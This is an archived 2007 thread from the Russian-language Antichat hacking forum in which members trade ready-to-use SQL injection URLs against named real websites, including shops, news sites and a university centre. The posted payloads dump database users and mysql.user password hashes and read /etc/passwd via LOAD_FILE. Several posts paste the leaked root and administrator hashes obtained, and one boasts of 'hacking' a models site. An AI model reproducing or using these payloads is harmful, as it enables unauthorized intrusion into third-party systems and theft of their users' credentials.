HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.04.2007, 22:30
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
По умолчанию

Можно книжек заказать =)
Код:
http://petropol.com/browse/fetch.php3?id=-104544+union+select+1,2,3,LOAD_FILE(0x2f6574632f706173737764),5,6,7,8,9,10,11,12,13,14,15,16,17,19,20,21,22,23,24,25,26,27,28,29,30,31/*&type=book
 
Ответить с цитированием

  #2  
Старый 04.04.2007, 22:45
random
Познающий
Регистрация: 05.09.2006
Сообщений: 50
Провел на форуме:
1988972

Репутация: 250
По умолчанию

Код:
http://oz.com.ru/st.php?id=218+union+select+concat(database(),0x3a,version()),2,3,4,5/*
Код:
http://gapart.com/ru/he/work.php?catid=1&page=1&id=-4+union+select+1,2,version(),4,5,6/*
 
Ответить с цитированием

  #3  
Старый 04.04.2007, 22:54
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Может и было...

Код:
http://www.cybertown.ru/catalog.php?action=site&id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
http://www.cybertown.ru/catalog.php?action=site&id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+limit+16,1/*
http://www.cybertown.ru/catalog.php?action=site&id=-1+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.columns+where+table_name=char(97,99,99,111,117,110,116,115)+limit+0,1/*
http://www.cybertown.ru/catalog.php?action=site&id=-1+union+select+1,2,3,concat(ID,char(58),LOGIN,char(58),PASS,char(58),FIO,char(58),EMAIL),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+accounts+limit+0,1/*
Код:
http://www.divanodrom.ru/textile.php?id=-1+union+select+convert(concat(database(),char(58),user(),char(58),version()),char)/*
 
Ответить с цитированием

  #4  
Старый 04.04.2007, 22:53
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


По умолчанию

akusherstvo.ru
Код:
http://www.akusherstvo.ru/magaz.php?action=cat_show&ordby=type&type_active=-1+union+select+concat(user,0x3a,password),2+from+mysql.user/*
root:5d1a051535bd4dcd

также чем-то могут быть интересны таблицы admin, myuser, phpbb_users, a_admin
пример скули форум:
Код:
http://www.akusherstvo.ru/magaz.php?action=cat_show&ordby=type&type_active=-1+union+select+concat(username,0x3a,user_password),2+from+phpbb_users+limit+2,1/*
Администратор:3693dc9bc65e54f85826ddc a773dbd5b
8.5k users
в общем-то, там еще 150 таблиц, есть простор для мозгового штурма)
 
Ответить с цитированием

  #5  
Старый 04.04.2007, 23:00
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

http://www.fmodels.net - я хекнул много блондинок, теперь они все мои =)

Код:
http://www.fmodels.net/news.php3?id=-10+union+select+1,concat(user,0x3a,password),3,4,5,6,7+from+mysql.user+limit+1,3/*
Надо с лимитом играться =\

Код:
http://redcame.org.ar/news.php3?id=-550+union+select+1,2,3/*
 
Ответить с цитированием

  #6  
Старый 04.04.2007, 23:16
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346

Репутация: 1719


По умолчанию

2 zl0ba:
зачем лимит?
сразу весь список
Код:
http://www.fmodels.net/news.php3?id=-10+union+select+1,2,concat(user,0x3a,password),4,5,6,7+from+mysql.user/*
а по твоему линку вообще вывода не увидел, мб глюки..
 
Ответить с цитированием

  #7  
Старый 04.04.2007, 23:53
Fr-Ron
Участник форума
Регистрация: 10.09.2006
Сообщений: 185
Провел на форуме:
1654589

Репутация: 337
По умолчанию

Ну и еще один интернет - магазин...

Цитата:
http://www.bestwatch.ru/podves.phtml?idb=52600+union+select+1,2,3,4,5,conc at(user,0x3a,password),7,8,9,10,11,12+from+mysql.u ser/*
root:7c09cac038aef27b

Админку не нашел, в robots.txt тоже не прописано =\
 
Ответить с цитированием

  #8  
Старый 04.04.2007, 23:58
valiko
Участник форума
Регистрация: 28.01.2007
Сообщений: 153
Провел на форуме:
1237085

Репутация: 452
По умолчанию

Код:
http://www.pr.ua/news.php?new=-3793+union+select+concat(user(),0x3a,version(),0x3a,database())/*
 
Ответить с цитированием

  #9  
Старый 05.04.2007, 12:53
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Код:
http://cityonahillpress.com/article.php?id=-473+union+select+1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19/*
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #10  
Старый 05.04.2007, 13:29
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
По умолчанию

Центр по изучению стран постсоветского зарубежья РГГУ
Цитата:
http://www.postsoviet.ru/page.php?pid=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16/*
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.